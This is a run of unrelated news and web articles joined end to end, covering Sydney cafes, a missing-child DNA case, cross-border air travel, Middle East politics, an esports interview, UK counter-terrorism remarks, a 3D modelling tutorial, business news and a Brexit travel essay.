Mecca Espresso King Street
There are two Mecca outposts in the city (the other one is at Circular Quay), but we particularly like (and frequent) the King Street espresso bar. Staff are efficient and helpful, turning out exceptional espresso and filter coffee, with a single-origin choice on the go for each. Tables are few, but takeaway trade booms, so it's usually easy to get a seat.
67 King St, 9299 8828, meccaespresso.com
Coffee: Mecca Espresso
Pablo & Rusty's
Another exciting city opening from a specialty roaster this year saw the launch of Pablo and Rusty's fifth Sydney outpost, on Castlereagh street. Its their first foray into the CBD. Milk coffees are made on a seasonal blend, and there are usually a couple of choices of single origin beans for black espresso and filter coffee. Try the bright, fragrant batch brew, served on a wooden board in a generous glass bottle, enough for two cups that will have you reverberating back to the office.
161 Castlereagh St, CBD, 9807 6293, pabloandrustys.com.au
Coffee: Pablo & Rusty's
Vella Nero Coffee Couture
The narrow entrance is a bit blink-and-you'll-miss-it, but it opens into a high-ceilinged, turquoise-toned space devoted to specialty coffee. The blackboard menu offering more than a dozen "crew's brews" is a great excuse to break out of your flat white habit - will that be a ¾ double ristretto latte, a Swiss Gold filter, or a sparkling cold drip?
Shop 3, 259 Clarence St, CBD, 9268 0755, vellanero.com.au
Coffee: Vella Nero
Workshop Espresso
One of the best-placed joints in the CBD, just a skip from Town Hall Station and across from the QVB. Baristas work the twin Spirit machines, producing reliably excellent coffee of the Toby's Estate custom house blend, meaning the queue turns over quickly. Seating is scarce, but if you can get one, sit down with your syrupy, rich long black - it's a fantastic vantage point for people-watching.
The Galeries Victoria, 500 George St, CBD, 9264 8836
Coffee: Toby's Estate
Georgia Waters is the editor of The Sydney Morning Herald Good Cafe Guide 2014, which launches on Monday, June 16. Follow the awards as they happen via the @goodfoodAU Twitter account, or the hashtag #SMHGoodCafeGuide, from about 6.30pm.
**The book will be available for $5 with The Sydney Morning Herald on Saturday, June 21 from participating newsagents, while stocks last. It will also be available from Tuesday in selected bookshops and online at smhshop.com.au for $9.99.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A father-of-two accused of being missing Ben Needham hopes his ten-year torment will finally end after his DNA was taken.
Ben Gleave agreed to having the test done at his home and believes it will prove once and for all he has no connection with the other Ben.
Local police will now send the sample to officers in South Yorkshire who are co-ordinating the hunt for Ben.
The dad believes it will prove once and for all he has no connection with the tot who went missing while on holiday with his parents on the Greek island of Kos in 1991.
His mother Kerry Needham has never given up hope that her son will be found.
(Image: PA)
The other Ben, 28, who now lives in Bangor, Northern Ireland, says his life has been turned upside down since a friend of his mother decided years ago he was the missing kid after spotting their “similarity” in an age-progression image.
The woman, a neighbour in Nova Scotia, Canada, told police and Ben gave a swab to Canadian officers in 2005.
But it only emerged at the weekend that these tests had vanished after they were sent to a private eye in
the UK and not to South Yorks officers.
Read more:
Ben, who because of the blunder was never officially ruled out, said his life had been turned “upside down” because of the claims.
Mr Gleave, a Slimming World consultant, said: “I feel like I’ve committed a crime and need to clear my name. But neither I nor my mother have done anything wrong.
“In a way I wish for Kerry Needham’s sake that I was her son, but I don’t believe I am. My heart goes out to her.
“I have two children, aged six and eight, and if I was separated from them for 24 days, let alone 24 years, I’d go out of my mind. just don’t think I’m the happy ending to the Needham story and I’m sorry for them about that.
(Image: Alan Lewis)
“My suffering is nothing compared to hers but I’m finding it hard to cope with this and I feel the only way to get back to normality is to tell people what really happened.”
He said the tangled tale began when the neighbour alerted Royal Canadian Mounted Police over fears he had no birth certificate, did hold a passport and had moved around a lot.
She told police his mum had changed her son’s name from Ben Stockdale to Ben Gleave when he was six years old following a second marriage. She recalled being told that almost all the family photos had been dumped in error.
Read more:
Mr Gleave said: “Madeleine Ranson still believes my true identity is Ben Needham and there’s no convincing her otherwise."
After hearing about the latest bizarre twist, missing Ben’s mum Kerry, 43, said she was “hugely relieved” officers investigating Ben’s disappearance had taken swift action.
Kerry said she knew nothing about Mr Gleave’s story until she saw his picture in a newspaper at the weekend.
(Image: Daily Mirror)
She said: “This was one of many lines of inquiry held by Interpol for many years but for whatever reason had not been concluded.”
Sadly for the heartbroken mum, she does not believe Mr Gleave holds the key which will end her 24-year nightmare.
“I’d never heard of this man before but when I saw his picture I immediately thought he looked nothing like our family,” she said. “I don’t think for one minute he is Ben and I’m really sorry to hear he has been distressed by this ordeal.
“All this drama has had an effect on him but not on us - because our hopes have not been raised.
“Last year I was convinced a Greek gypsy who came forward was Ben and so was he. He was the double of my daughter. Here was an instant personal connection there. It felt right.
“I was so convinced that we had to do four DNA tests to convince me. I just didn’t believe they had come back negative.”
South Yorkshire Police said: “The force will not provide a running commentary relating to lines of enquiry that are being progressed while the investigation is ongoing.”Enlarge By Elaine Thompson, AP Cars pass a welcome sign at the border crossing between the USA and Canada in Blaine, Wash. Some Canadians drive across the border to fly out of the USA because fares are lower. When Jolly Khanna makes business trips to Chicago or Washington, he drives from his home in Montreal to the airport in Burlington, Vt., where he then hops on a flight. Never mind that he has to drive roughly 90 minutes to board a plane. The trip is usually $300 cheaper than if he'd flown out of Montreal. "The client agrees to pick up the expenses, but this saves them money," says Khanna, 38, who has his own consulting firm. "It's an hour and a half out of my time, but it keeps the client happy, and if the client is happy, they keep me employed." Khanna isn't the only Canadian making frequent treks across the border to catch a flight. A growing number come for lower fares, fewer hassles with airport security — because they are flying domestically inside the U.S. instead of coming from abroad — and for the smaller U.S. airports that can be easier to navigate than ones in Canada's big cities. "We're 30 miles from the border, so there's always been a base of Canadian business at this airport," says Brian Searles, director of aviation for the Burlington airport, where 40% of the passengers are Canadian. "But what's happened in the last few years... is a significant increase in that business." The Canadian Airports Council estimates more than 2.5 million Canadians use U.S. airports. People in eastern Canada can make their way to Bangor, Maine, while would-be fliers in Quebec drive to Burlington or Plattsburgh, N.Y., says Tony Pollard, president of the Hotel Association of Canada. Those living in Windsor can cross a bridge to Detroit, while travelers living in Toronto might head to airports in Buffalo or Syracuse, N.Y. "It doesn't really matter if you have to travel an hour or an hour and a half, people will do it (to save) money," Pollard says. A survey by his organization found 18% of Canadians plan to travel to the U.S. to fly in 2010. U.S. airports make great efforts to woo and welcome Canadian travelers. Plattsburgh International Airport, which says that 85% of its passengers are Canadian, bills itself as "Montreal's U.S. airport" and sometimes broadcasts a Montreal radio station, with songs in French and English, in its terminal. Others in the travel sector have taken notice. Low-cost carrier Allegiant Air started service out of two airports — Plattsburgh and Grand Forks, N.D. — to tap into interest from Canadian travelers. Taxes, fees add to higher costs The Canadian traffic is good for those living in the U.S., says Tom Long, Plattsburgh's airport manager. "It opens the door for our locals to be able to fly to Florida" and other destinations, he says. The main reason Canadians make the trek is to save money. Fares between U.S. cities can be hundreds of dollars less than flying directly from a Canadian city. Even with gas, long-term parking and possibly a night's stay in a U.S. hotel, some travelers say they still come out ahead. Higher fees paid by Canadian airports and Canadian taxes combine with less competition among carriers to make for costlier plane tickets out of Canada. Also contributing: The traditionally weaker Canadian dollar has been holding its own against the U.S. dollar recently. Canada's travel industry isn't happy with losing locals who'll drive across the border to fly. "We're tremendously concerned," says Daniel-Robert Gooch of the Canadian Airports Council. "We have higher fees and taxes. All these things add up to make for a more expensive ticket." Jay Udow always checks how much it will cost him to fly to the U.S. from his local airport in Toronto. But he frequently winds up driving to Buffalo to head to cities in other parts of the U.S. Even though Buffalo offers fewer non-stop flights to fewer destinations than he can get in Toronto, Udow says, he checks. "And then I make a call based on price and convenience as to which way I should do it," he says. "But 50% of the time, I end up choosing Buffalo over Toronto." Making a trip 'affordable' It's an open secret in many Canadian cities that crossing the border to fly can be cheaper, says Udow, who does marketing and product development in the toy industry and travels from Buffalo for both business and vacations. But Udow says he also drives the roughly 60 miles to and from Buffalo to take advantage of a smaller airport that he finds easy to get through. And he says he prefers to avoid the lengthy airport screening that comes with flying from Canada to the United States. "There's much less hassle and aggravation," he says. Brandon Smith, 29, also often drives from his Toronto home to Buffalo to fly to such cities as Fort Lauderdale or Las Vegas. Smith, a trustee in bankruptcy cases, says those Buffalo-based flights have saved him thousands of dollars the past five years. "At the very least, it made a trip affordable where I wouldn't have taken the trip had that option not been available," he says. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read more TOP TRAVEL STORIES Most read Most e-mailed TOP TRAVEL STORIES Most read Most e-mailedUS President Donald Trump and Israel's Prime Minister Benjamin Netanyahu shake hands after delivering a speech at the Israel Museum in Jerusalem. May 23, 2017
Prime Minister Benjamin Netanyahu on Friday congratulated U.S. President Donald Trump for his "courageous decision" not to recertify the nuclear deal with Iran.
>> Explained: What actually happens after Trump decertifies the Iran nuclear deal >>
"He boldly confronted Iran's terrorist regime," Netanyahu said. "If the Iran deal is left unchanged, one thing is absolutely certain. In a few years' time, the world's foremost terrorist regime will have an arsenal of nuclear weapons. And that's a tremendous danger for our collective future."
Netanyahu said Trump has created an "opportunity to fix this bad deal, to roll back Iran's aggression and to confront its criminal support of terrorism."
"That's why Israel embraces this opportunity," Netanyahu said.
The prime minister's bureau said earlier that U.S. Secretary of State Rex Tillerson called Netanyahu on Friday to update him in detail about the new U.S. strategy toward Iran.
Senior Israeli defense officials said that Trump's speech constitutes a significant strategic turning point regarding U.S. policy in the Mideast. "It's a new era, no less," said one senior official. "Obama has forsaken the Middle East to Iranian-Shi'ite hands, and that's what Trump wants to change."
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The Israeli opposition also welcomed Trump's speech. Israel's Labor leader Avi Gabbay said that the sanctions imposed by Trump on the Revolutionary Guard are the first positive step, after which the nuclear deal must be fixed and prolonged so that Iran cannot go back to enriching uranium. Gabbay also criticized Netanyahu's conduct on the Iranian issue over the past several years, saying "achievements are made in negotiating rooms and not through polished speeches."Since his rise to fame in 2011, Ben "MrBitter" Nichol has become one of the most popular and respected shoutcasters in the StarCraft 2 world. He is a full time employee of the ESL where he frequently casts alongside Kevin "RotterdaM" Van Der Kooi, and he has been fortunate enough to cast at some of the largest tournaments in the world such as Dreamhack winter 2011 and the Intel Extreme Masters series.
I caught up with him shortly after his return from the most recent Intel Extreme Masters event, the Global Challenge in Sao Paulo, Brazil.
Hi Ben, firstly, a big thanks for giving us your time. Now, you just recently casted the IEM Global Challenge in Sao Paulo, how was that for you and how was your time there?
MrBitter: Sao Paulo was great. The weather was mostly pleasant. The heat was a great chance of pace from the cold in Europe. The tournament was excellent. The games, the players, and especially the fans were all top notch. The food in Brazil was also great. On the whole, it was an awesome trip.
Glad you enjoyed it so much! The Brazillian fans really seemed to get behind viOLet who eventually came through to take the tournament, how important do you think crowd support is at big offline events such as the IEM?
MrBitter: Crowd support is great. It really amps up a lot of players, and the crowd getting behind Violet definitely motivated him a lot. It would not have been the same event were it not for the Brazilian fans.
So the next stop for the IEM is the world championship in Hanover in a little over 3 weeks, the roster for that tournament is packed with some of the best players from all over the world, do you have any favourites or predictions for what we could see there?
MrBitter: Man, it's impossible to predict the outcome of that tournament. I'm sure the Koreans that show up will put on great performances. I definitely expect Kas to make another exciting run. If I had to pick someone to win it, it would be very hard to choose between MC and DRG.
It is certainly going to be an exciting one to watch. You have been casting with the ESL for quite a while now, can you tell us a little about how you made the transition from being a player and active community member to becoming a professional shoutcaster?
MrBitter: It was actually pretty sudden. At the beginning of my "caster" career, I was just playing a lot of Starcraft. I had no real intention of becoming a caster, but because of my show: 12 Weeks with the Pros, a few organizations who needed some casting asked me to help them out. For whatever reason, the community (in general) liked my casting, and the organizations that hired me were impressed enough to ask me to do it again. After a while, I was being asked to cast more than I was being asked to play, and it just kinda' became my full time job.
You and RotterdaM frequently cast together and you have become a well loved casting duo because of how entertaining you are together, were you friends or did you know each other prior to both working for the ESL?
MrBitter: We had never talked prior to ESL hiring me. We were very fortunate to hit it off as well as we did.
MrBitter and RotterdaM at IEM Sao Paulo
In 2011 you casted at a variety of different events including MLGs, Dreamhack and Intel Extreme Masters events. Do you have a favourite at all?
MrBitter: It's almost impossible to choose a favorite. They were all great for their own unique reasons. DreamHack lives up to its reputation as the greatest LAN party in the world, while MLG continues to represent the pinnacle of North American eSports. IEM is also great because of the way it promotes the unknown pro, and provides fans from virtually every continent an opportunity to visit a live event. I really love them all.
lets move away from casting for a moment, you have also, as you previously mentioned, created informative original content such as your 12 weeks with the pros StarCraft series. At IEM Kiev you started to do something similar for League of Legends, can you tell us a little about what that is and where we can check it out?
MrBitter: My 12 Weeks series is just an instructional series. For Starcraft, we talked to many of the best Zerg players from around the world. (and a few non Zergs too!) By the time the show was over, we had covered every matchup in great details. 12 Weeks: LoL is the same basic concept. Talk to pros, learn as much from them as possible, and share it with the community. You can find all of my 12 Weeks content at my Blip.tv account.
What was it that inspired you to get involved with League of Legends?
MrBitter: LoL is a really fun game, but it's very difficult to create instructional content for the LoL community because of the nature of the spectator client. By creating this content at live events, however, we can resolve that issue because the pro players are sitting right next to us. The inspiration was mostly just recognizing the absence of that sort of content in the LoL community, and realizing I had a way to help.
MrBitter spoke to SK Gaming's Ocelote for the first in his 12 days:LoL series.
Over the last few months there has been quite a lot of crossover and convergence between LoL and Starcraft 2. Day[9] recently added LoL to the After Hours Gaming League, and multiple pros from both games have stated they play the other or follow the competitive scene. There is clearly a lot that both scenes can gain from one another but what do you think it is about these 2 seemingly distinct games that draws their communities together
MrBitter: There's tons that keeps the communities close. They're both PC games. They're both eSports. They both reach very broad audiences in their own unique ways. And, ultimately, they both come from the same Blizzard RTS groups.
To finish up, as esports has grown in popularity more and more people aspire to become professional shoutcasters like yourself. What advice would you give to people out there looking to get involved with casting their favourite eSports?
MrBitter: The most important thing is to play the game, and to love playing the game. Beyond that, the best way to start is by producing content of your own, and to go to live events and network yourself with the people that matter. I probably would not be where I am today had I not gone to MLG Dallas and met the people that run NASL and MLG. It was only after shaking their hands and telling them who I was that job offers started to trickle in.
Solid advice! That should just about wrap it up. Thanks again for your time and best of luck for all of your endeavours in 2012 from all of us at Team Dignitas. Do you have any parting messages or shoutouts?
MrBitter: Just a thanks to you for taking the time to talk to me. Little things like this are how we grow eSports. Please keep doing what you do.
I certainly will, just being involved with the thing I am most passionate about is it's own reward, as I am sure you know!
Mrbitter: ♥
To keep up with all of MrBitter's updates in the run up to IEM Hanover you can follow his twitter. Also don't forget to check out his "12 days" content on his blip.tv channel. For more community interviews and news, you can follow Team Dignitas on Twitter and remember to keep checking out Team-Dignitas.org!Government efforts to prevent the radicalisation of British Muslims have been set back by Israel's assault on Gaza, the security and counter-terrorism minister, Lord West of Spithead, announced yesterday.
In an outspoken assessment of the terror risk facing Britain, Gordon Brown's security adviser was scathing about the assertion, made by Tony Blair when prime minister, that foreign policy did not alter the UK's risk of a terror attack.
"We never used to accept that our foreign policy ever had any effect on terrorism," he said. "Well, that was clearly bollocks."
He added: "They [the Blair administration] were very unwilling to have any debate about how our foreign policy impacted on radicalisation."
The former first sea lord, who also described terrorists as "bastards", said that the Israeli offensive had reinforced perceptions among people that there was a "linkage" between Israel and the west. Home Office informants in the Muslim community had reported that the conflict had played into the hands of al-Qaida recruiters, he said.
Addressing a seminar, intended to brief architects and engineers on the adaptation of new buildings to the terror threat, West said: "The business in Gaza has not helped us at all in our counter-radicalism strategy. We have key people in the Muslim community who we are in dialogue with, and they are quick to let us know there is an issue that is causing us a worry.
"They said it was coming over very badly. It fits in with the al-Qaida message, so we have to be very quick to respond to that and we have been quick to make sure that for Friday prayers, it is clear what our position is.
"There is no doubt that when you see these pictures coming back [from Gaza], that in the mind of people making hate, there is a linkage between the US, Israel and the UK. Without a doubt it will have set us back."
Violence in the Palestinian territory flared again yesterday with the deaths of an Israeli soldier and a Palestinian near the Gaza border.
Radical Muslim organisations have seized on the latest conflict to raise their profile in universities as well as among local communities. At the weekend, Hizb-ut-Tahir, a radical Islamist group which the British government has considered banning, marched in London with placards bearing pictures of injured women and children above the slogan: "Who will defend the children of Gaza?"
Earlier this month, the head of MI5, Jonathan Evans, said the Israeli action gave extremist groups in the UK more ideological ammunition. Community groups working with young Muslims have also said that the action has set back their efforts by years.
West, meanwhile, described the threat of international terrorism as a severe one. "Every day, over my desk, I see things, I have to say, that I find extremely worrying and make one's hair stand on end," he said.
He said he was gloomy about the growing likelihood of a chemical, biological or radioactive assault by a terror group, which he said was not a question of "if" but "when".
He added: "We have known for years that this is what they intend, but we are now a lot further down the track. They are always looking at radiological bombs or chemical attacks.
"Vehicle-borne improvised explosive devices are now, today, the greatest threat to us. If you put one near an old building the whole thing will collapse."
Explaining part of the government's counter terrorism strategy, dubbed Contest, which involved pursuing would-be terrorist cells, the peer said that security services were involved in "pursuing, tracking, watching the bastards as they try and kill us".After a long time, we are going to learn this simple and realistic (only from a particular distance) looking London bridge modeling in 3d. This serves same as Eiffel tower modeling from previous tutorial.
Final Image:
Making of London bridge:
Step-1
Before we start off, let’s change the units to centimeters for easy understanding of measurements.
For this, go to Customize >> Units setup and change metrics to centimeters.
And Draw a box (standard primitive) with following properties.
Step-2
Draw a cylinder place it in the following position with following properties.
Duplicate the cylinder and place them rest of the 3 corners.
Step-3
Duplicate the box and resize it to 360.6cm. we use this as a measurement for placing something at the height of 360.6cms.
Step-4
Duplicate the cylinder, set the following properties and place it at the height of duplicated box in the following way (at the height of 360.6 cm)
Duplicate it and place them at rest of the three corners and delete measurement box.
Step-5
Draw cone(Standard primitive) with following properties and place them on top of the cylinder.
Duplicate the cone and place them on the rest three cylinders.
Step-6
Draw a box with following properties and place it in the following way.
Step-7
Duplicate the same box and decrease its height to 60cm and place it like this….
Right click the object and convert it into “Editable mesh”, select “vertices” option and select top right corner two vertices from front view and move them to center.
Similarly top left vertices.
Finally, it should look like this…
Step-8
Duplicate the above modified object, using vertices match the base of the object to the following object.
Decrease the width of the top to 60cm (to measure centimeters, follow the process which I’ve shown you earlier)
The top is sharp, lets un sharp it using vertices.
The result should be like this…
Step-9
Duplicate the following object and place it in the following way.
Step-10
Create cross, duplicate it and place them on top of the cones.
Step-11
Draw a semi circle cylinder with following properties and place it at the height of 170cms.
Step-12
Convert the object into “editable mesh” and select bottom vertices.
Drag them down.
Step-13
Now select main tower, go to Compound objects >> Boolean >> Pick Operand B
Select “Pick Operand B” and click on the following object to make a way through the tower.
You get result like this….
Step-14
Create cylinder with following properties to place it as a base for the tower.
Convert the object into editable mesh and select semi circle vertices (top and bottm) and drag them to other side of the tower in the following way.
Step-15
Duplicate the whole tower and place it at 850cm distance in the following way.
Step-16
Lets create road using plane (Standard primitive) with following properties.
Step-17
Create walls on both side of the road with following properties.
Step-18
Boolean out the base to level up with road.
Create a box with width of the road and cut the road using Boolean method.
Convert it to editable mesh, using “polygon” option select surface.
Extrude the selected surface to -35.5cm
And bevel the selected surface to -1.5cm
Duplicate the base and replace the other base.
Step-19
Draw two lines using lines from “splines” options in the following way.
Go to line’s properties and set the following parameters.
The parameters will add mesh to the line.
Do the same thing with the other line too.
Step-20
Using the same line properties, draw lines in the following way.
Make three copies of those lines and place them like this…..
Step-21
Connect the towers at the top using box primitive with following properties.
The final result supposed to look like this….
In Next part we will learn to add textures to the model.
I hope you find this tutorial useful.
Enjoy!Shipwreck Release Carton Brewing's next small batch beer, Shipwreck, will be released in the tasting room Monday, October 9th. Look for it in bars, restaurants, and places that get it starting Tuesday, October 10th. The Deal: We have made a 32oz growler for the release of Shipwreck Porter. It will be $20 full with the beer and will be reusable with us and places that fill other people's growlers. There will be a limit of 2 per person.
The Day: We will open the tasting room for this beer
We have made a 32oz growler for the release of Shipwreck Porter. It will be $20 full with the beer and will be reusable with us and places that fill other people's growlers. There will be a limit of 2 per person.We will open the tasting room for this beer on Monday, October 9th (Columbus Day) from 12am until 5pm Shipwreck Barrel Aged Honey Porter
ABV: 10.0% | IBU: 26 | SRM: 42 When our friends and neighbors at Brinley shipped us ten of the barrels used to make their Brinley Gold Shipwreck Rum from their distillery on St. Kitts, we were given the opportunity to create a beer that would take advantage of wood rather than the other way around. We looked to coax complexity out of the marriage of a barrel's soul and a brew's potential, not just to bomb a huge beer with huge flavor. The rum that lives in these barrels for four years integrates its spice to the wood so well that it ends up reminiscent of a Bananas Foster. A sturdy brown honey porter seemed the best host to receive the ghosts from Shipwreck's old home. We started with a base of deep malts looking for notes of coffee and chocolate, then enhanced them with the floral bouquet of local wildflower honey and the preservative strength of 10% ABV while keeping the body sensible. This was put in the casks to meld with the vanilla, wood, and spice notes, toned down by the oxidative effect of a year in the cellar. Drink Shipwreck Porter because a barrel should be so much more than a depth charge. Upcoming Events
Pub Crawl ( Revolution |
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Derek Swanson, superintendent of the Bridgewater-Raynham Regional School District, said the photo taken Oct. 13 occurred during a lesson to third-grade students by instructors from the Plimoth Plantantion, a historical museum that replicates the original Plymouth Colony.
“Through our investigation, it was explained by the Director of Education from Plimoth Plantation that a portion of the lesson focused on 17th century attire — particularly the garments worn by parents, children, toddlers and infants,” Swanson said in a statement Thursday. “Specifically the garment worn by toddlers commonly used tethering straps to assist them when learning to walk.”
Swenson, who did not specify in which school the photo was taken, acknowledged that it “could be perceived differently” without proper context, calling it an “unfortunate incident.”
“Please note it was never the intent of the lesson to demean or degrade any one person or group,” Swenson continued. “The Bridgewater-Raynham Regional School District sincerely apologizes to the students, staff and community at large for this unfortunate incident.”
Swenson declined additional comment when reached late Thursday, the Boston Globe reports.
Rob Kluin, a spokesman for the museum, also apologized for “any misperceptions or concern” regarding the photo that depicted a mother and her three children, with the black student who wore the “leading strings” playing the role of the youngest child.
“Without the proper context, the photo has understandably been misinterpreted and has caused distress for many,” Kluin told the Boston Globe. “We are deeply saddened by this, as our museum’s educational mission is to provide fun and engaging encounters with the history of the 17th-century Atlantic world.”
Rahsaan Hall of the American Civil Liberties Union of Massachusetts, characterized the photo as “pretty disturbing,” particularly in a school district that isn’t diversified, he said. The district, according to state data cited by the Globe, is more than 87 percent white, 3.9 percent African-American, 2.3 percent Asian and 2.7 percent Hispanic.
The photo went viral after being posted to Facebook early Thursday, racking up more than 8,000 shares within hours.
“I grew up with Plimoth Plantation,” Chris Chaves, a parent at the school, told The Enterprise. “I went to visit there with the school. It’s education, for the kids, on American history. This has been blown a little out of proportion.”Volvo Cars is the only remaining part of Ford's Premier Automotive Group
Volvo Cars has said that it is sacking about 1,200 of its employees in Sweden, adding to speculation that it is looking to sell off the business.
A further 300 overseas jobs will be axed by the Ford-owned firm, with contracts for about 500 consultants also being cancelled.
Ford Motor has in the past denied that it was looking to get rid of Volvo.
It is the only remaining part of its Premier Automotive Group after the sale of Land Rover, Jaguar and Aston Martin.
Ford said that Volvo job cuts were part of a 4bn kronor ($662m; £331m) cost-cutting drive.
Staff in Gothenburg and Olofstrom in the west and southern parts of Sweden will be most heavily affected.
Turn around
Earlier this month, Ford completed the sale of its Jaguar and Land Rover businesses to Indian conglomerate Tata in a deal valued at £1.7bn.
And it sold its Aston Martin marque to a UK-led investment consortium last year.
Ford has been forced to sell the companies in order to concentrate on its loss-making core US car business, which it hopes to turn around in the next two years.A man has been hurt after apparently detonating a homemade bomb in an arrivals hall at Beijing International Airport.
Pictures posted on the Chinese equivalent of Twitter, Weibo, showed smoke in Terminal 3 after the blast at around 6.30pm local time.
Witnesses have claimed that a man was sitting in a wheelchair in the arrivals hall, shouting and waving a small bag in the air before the explosion took place.
The Weibo microblog of state broadcaster China Central Television (CCTV) said a man detonated a package of black gunpowder used to make firecrackers just outside the international arrivals exit.
Photos taken in the minutes after the explosion showed a wheelchair lying on its side, medical workers attending to someone and people running through the terminal.
A man, who local media named as Ji Zhongxing, who was born in 1979 and in Shandong Province, was injured in the blast and has been taken to hospital.
No one else was hurt in the incident and airport operations are now back to normal.
"The explosion sound was loud," said a witness who gave only his family name, Chen. He said he was only 25m away from the explosion when it occurred.
Chen said there was only one explosion, and that the terminal was crowded with people.
"Since there was no second explosion, many people took out their phones and gathered near the explosion spot to take photos," he said.
He said police responded to the explosion immediately.
Sky's China Correspondent Mark Stone, at the airport, said the man may have travelled to the capital to petition for a particular social cause.
"This is looking like a tragic story really. There are a lot of people in China who call themselves 'petitioners'.
"Every now and again they go a little bit further and it's a very much more extreme form of petitioning and that I think, is what this appears to be."
Stone said most petitioners complain of local corruption, land grabs and beatings.
He added that a blog purporting to have been written by the man contains claims he was beaten and paralysed by Chinese police in 2005. This has not been verified.
Terminal 3, which opened in 2008 just ahead of the Beijing Olympics, is the airport's hub for international flights. United Airlines and American Airlines operate out of the terminal.In the 70 percent of Texas public schools where a private curriculum has been installed, students are learning the “fact” that “Allah is the Almighty God,” charge critics of a new online curriculum that already is facing condemnation for its secrecy and restrictions on oversight.
The program, called CSCOPE, is a private venture operating under the umbrella of the Texas Education Service Center Curriculum Collaborative, whose incorporation documents state its independence from the State Board of Education of the Texas Education Agency.
Other reports previously have raised alarm over the curriculum’s depiction of the Boston Tea Party as a terrorist act on par with the 9/11 attack.
According to documentation that has leaked out, the program describes the Boston Tea Party this way: “A local militia, believed to be a terrorist organization, attacked the property of private citizens today at our nation’s busiest port. Although no one was injured in the attack, a large quantity of merchandise, considered to be valuable to its owners and loathsome to the perpetrators, was destroyed. The terrorists, dressed in disguise and apparently intoxicated, were able to escape into the night with the help of local citizens who harbor these fugitives and conceal their identities from the authorities. It is believed that the terrorist attack was a response to the policies enacted by the occupying country’s government. Even stronger policies are anticipated by the local citizens.”
There also have been reports that the curriculum – contrary to recent Supreme Court rulings – says the Second Amendment to the U.S. Constitution, the right to bear arms, is limited to state-run organizations.
Read more from this story HERE.The Red Shed is a simple, one-storey wooden building in Wakefield that houses a meeting place and a bar. A sign on the front wall informs the world that it has been the meeting place of the Wakefield Labour Club since 1966: “50 Years a Socialist Shed”.
I happened across this unlikely outbuilding in the course of an effort to understand the politics of modern Britain as it hurtles toward the momentous decision it will make on 8 June. Theresa May presents herself as a strong leader who can go toe-to-toe with the big boys in Brussels; if her mandate is big enough, she will be free to seek the most extreme form of Brexit. If her victory is less convincing, she will have to moderate her stance. Either way, the actual details of the deal that will determine the future of this island are anyone’s guess.
And so I have come to this city of 76,000 in West Yorkshire to see how this country on the brink compares to my own. Hanging around in the affluent and cosmopolitan areas of London wouldn’t do. To come to grips with what has been going on here required a visit to the Britannia that is not cool; the regions where people largely exist outside the lustful gaze of the world.
The history of this part of England traces the history of industrialisation, its rise and its fall. With coal and steel and textiles, Yorkshire witnessed the beginning of the industrial revolution 200 years ago. With politics and organising, it is a place where the English working class came into its own. Then, with Margaret Thatcher and the big free-market beatdown of the 1980s, this was the first corner of the western world to see how it would all come crashing down. Last year’s referendum on the European Union was a hint of what comes next, and this time the hindmost were in the forefront. Like much of the rest of northern England, Wakefield voted leave, and its residents did so by 66%.
The self-destructive qualities of the Brexit vote have been much noted, of course. In the satisfied, bankerly quarters of the country, the choice to stay in the EU was an easy one – for reasons explained at length by free-trade stalwarts such as the Economist and the New York Times. But the satisfied were outnumbered by the furious. It was the shifting allegiances of the hard-bitten post-industrial areas of Britain, historic Labour strongholds, that shocked the remainers – these are the British equivalents of rust-belt towns and the shattered mining communities of West Virginia. People in these places rallied around soundbites like “Britain has had enough of experts,” talked of insane over-regulation by faceless EU authorities in Brussels, and blamed their misfortunes – many of them brought on by Tory austerity policies – on the convenient European bogeyman.
Facebook Twitter Pinterest Labour leader Jeremy Corbyn and Conservative prime minister Theresa May. Photograph: Marko Djurica/Reuters
The turn of the disgruntled against Europe presented the British right with a golden opportunity: use the ongoing Brexit process to strike a populist pose and go after the Labour party on its home turf. Making this gambit even more attractive was the perceived weakness of Labour’s leader, Jeremy Corbyn, a leftwing London vegetarian whose own MPs tried to vote him out in a no-confidence motion last year.
And so it came to pass. Theresa May called a snap election for 8 June. She posed, Trump-like, as a big-league dealmaker. Underscoring her populist strategy, she presented her party’s platform in Halifax, yet another former cotton-mill town in West Yorkshire, talking up her supposed toughness as the country prepares to negotiate its divorce from the EU.
But then the Tory steamroller seemed to break down. Prime Minister May, who had called the election, flip-flopped on a range of policies and couldn’t rouse herself to show up for the televised party leaders’ debate. Meanwhile, the platform Labour drew up was sensible and popular, and Corbyn turned out to be the opposite of feeble on the campaign trail. Maybe he was the one with the unstoppable populist mojo, the country’s pundits fretted.
It is worth reminding ourselves once again of the great lesson of the Age of Trump: these days, anything is possible.
So here I was, watching another country wrestle with issues that are strikingly similar to America’s. As I travelled this part of England, I met with charity workers who have seen first-hand the effects of the Conservatives’ austerity policies; I went door-to-door with members of parliament from the Labour party; I had long conversations with candidates of the UK Independence Party (Ukip), an alternately nutty and populist outfit that, having been a driving force behind the British public’s decision to leave the EU, now sits on the political sidelines.
And, of course, I wandered about places like Wakefield – this sagging post-industrial town, with its “To Let” signs and its empty mills – and stumbled across this curious low building daubed fire-engine red. There it sits, a brightly coloured socialist haven next door to a gigantic Debenhams department store.
The Red Shed is a sort of time capsule from a more generous age, a living museum of the British left, but with real, live, beer-drinking people still inhabiting it. There is a nice selection of hand-drawn ales, their provenance explained to me by other customers. The walls above the bar are covered with commemorative plates, the sort of thing you sometimes see in fussily genteel American homes. When I looked more closely, however, I noticed that the plates were the opposite of genteel: many of them had been issued by trade unions, and what several of them commemorated were strikes. (A typical one: “National Ambulance Service Dispute, 1989-1990.”)
One action in particular stood out from the others commemorated here: the apocalyptic coal miners’ strike of 1984-85, when mineworkers fought the downsizing and eventual termination of their industry at the hands of Margaret Thatcher’s Conservative government. The strike is the subject of a triptych painting that hangs in the Red Shed, and is also commemorated by a hunk of coal mounted on a piece of wood that sits next to the bar.
As I proceeded from town to town in this part of England in the days that followed, the miners’ strike came up again and again. Without any prompting from me, people mentioned where they were when it happened, how they felt about it, what it signified.
And what did it signify? One answer was suggested by something a patron of the Red Shed told me: that “industry has been deliberately run down in this area”.
